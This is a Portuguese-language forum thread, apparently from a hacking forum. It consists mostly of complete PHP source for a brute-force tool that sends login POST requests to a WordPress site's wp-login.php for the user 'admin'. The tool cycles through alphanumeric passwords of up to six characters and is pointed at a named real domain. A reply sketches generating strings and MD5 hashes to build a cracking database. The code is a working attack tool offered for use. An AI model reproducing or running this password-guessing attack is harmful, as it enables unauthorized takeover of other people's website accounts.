http://brancohat.blogspot.com/2008/01/o ... uitos.html (http://brancohat.blogspot.com/2008/01/o-lado-oculto-da-fora-bruta-muitos.html)
dessa vez vou postar aqui o código, porque no blog fico muito ruim.
<?php
class BruteForce
{
private $possibilities;
private $positions;
private $next;
private $count;
private $socket_stream;
private $target;
private $startfrom;
private $user;
private function start_sockets() {
$this->socket_stream = socket_create(AF_INET,SOCK_STREAM,SOL_TCP) or exit("Erro ao criar sockets");
socket_connect($this->socket_stream, $this->target, 80) or exit("Erro no connect");
}
private function send_pass($value) {
$this->start_sockets();
$header = "POST /wp-login.php HTTP/1.1 \n";
$header .= "Host: ". $this->target ."\n";
$header .= "Content-Length: 65 \n";
$header .= "Content-Type: application/x-www-form-urlencoded \n\n";
$header .= "log=" . $this->user . "&pwd=" . $value . "&wp-submit=Login+%C2%BB&redirect_to=wp-admin%2F \n\r\n\r";
socket_write($this->socket_stream, $header, strlen($header));
while ($isocket = @socket_read($this->socket_stream,10000)) {
// trata os codigos de retorno
$code_return = str_split($isocket, 12); // versao http e codigo de erro
$code_show = str_split($code_return[0], 9); // soh o codigo
if (eregi("http",$code_return[0]) and eregi("200", $code_return[0])) {
echo $value . " " . $code_show[1] . "\n";
}
elseif (eregi("http",$code_return[0]) and eregi("503", $code_return[0])) {
echo "Erro no servidor, repetindo senha $value \n";
sleep(10);
$this->send_pass($value);
break 1; #goto label1
}
if ( (eregi("Write", $isocket) or eregi("escrever", $isocket)) == 1) {
echo "Password encontrado : $value";
exit();
}
}
#label1
// usei @ porque quando o break chama #label1, o socket_stream e ja foi fexado,
// entao socket_close gera um erro, que eh escondido com @
@socket_close($this->socket_stream);
}
private function restart() {
$next = $this->next;
foreach ($next as $key => $value) {
$this->calc($value);
}
}
private function calc($value) {
$possibilities = $this->possibilities;
for($i=0;$i<count($possibilities);$i++) {
$this->send_pass($value.$possibilities[$i]);
$next[] = ($value.$possibilities[$i]);
}
/* no if abaixo eu utilizo pass_max-2 porque quando count chega no valor de pass_max
ele entra no if e chama restart, e depois restart chama calc, isso trataria mais duas
posicoes, por isso utilizo -2, assim trataremos apenas o valor de pass_max.
poderiamos reescrever o if de outra maneira, mas assim temos mais clareza
*/
$this->count++;
if ($this->count <= $this->positions-2) {
$this->next = $next;
$this->restart();
}
else {
echo "Todas possibilidades de $value testadas \n";
}
}
/* passa primeira possibilidade para calc, depois zera o count, para a proxima possiblidade tambem ter pass_max de vezes
testadas
*/
private function start() {
$startfrom = $this->startfrom;
for($i=$startfrom;$i<count($this->possibilities);$i++) {
$this->calc($this->possibilities[$i]);
$this->count = 0;
}
}
public function __construct($target, $user, $possibilities, $positions=6, $startfrom=0) {
if (count($possibilities) < 1 or empty($target) or empty($user))
exit("\narray possibilities precisa ter pelomenos um valor. Tambem eh necessiario especificar o alvo e usuario.");
set_time_limit(0);
$this->target = $target;
$this->user = $user;
$this->possibilities = $possibilities;
$this->positions = $positions;
$this->startfrom = $startfrom;
$this->count = 0;
$this->next = array();
$this->start();
}
}
$possibilities = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
$obj = new BruteForce("www.codebunker.org", "admin", $possibilities);
?>
dessa vez eu fui um pouco além, resolvi me arriscar na matemática que sou péssimo rsrs.
se tiver erros ai, me corrijam.
foto em funcionamento : http://img516.imageshack.us/my.php?imag ... rcezf5.jpg (http://img516.imageshack.us/my.php?image=bruteforcezf5.jpg)
até,
have fun
Parece interessante, quando eu terminar meus afazeres vou dar uma olhada
Já pegando a linha de raciocinio no seu caso utiliza um vetor para gerar as strings pensei um pouco diferente... se a string 'a' equivale a 65 em ascii então se adicionar mais vai para a proxima letra.
Quando uma string chegar no z então passo para o proximo caractere fiz um exemplo de como gerar essas string e converter para md5, para poder gerar um data base boa... mas ainda não tive espaço para wpoder rodar o programa mas já deixei rodando por 20 horas e não gerou muita coisa não.
(//http://br.geocities.com/alucard_dxs/gerarstring/GerarString.GIF)
http://www.darkers.com.br/forum/index.p ... 019.0.html (http://www.darkers.com.br/forum/index.php/topic,8019.0.html)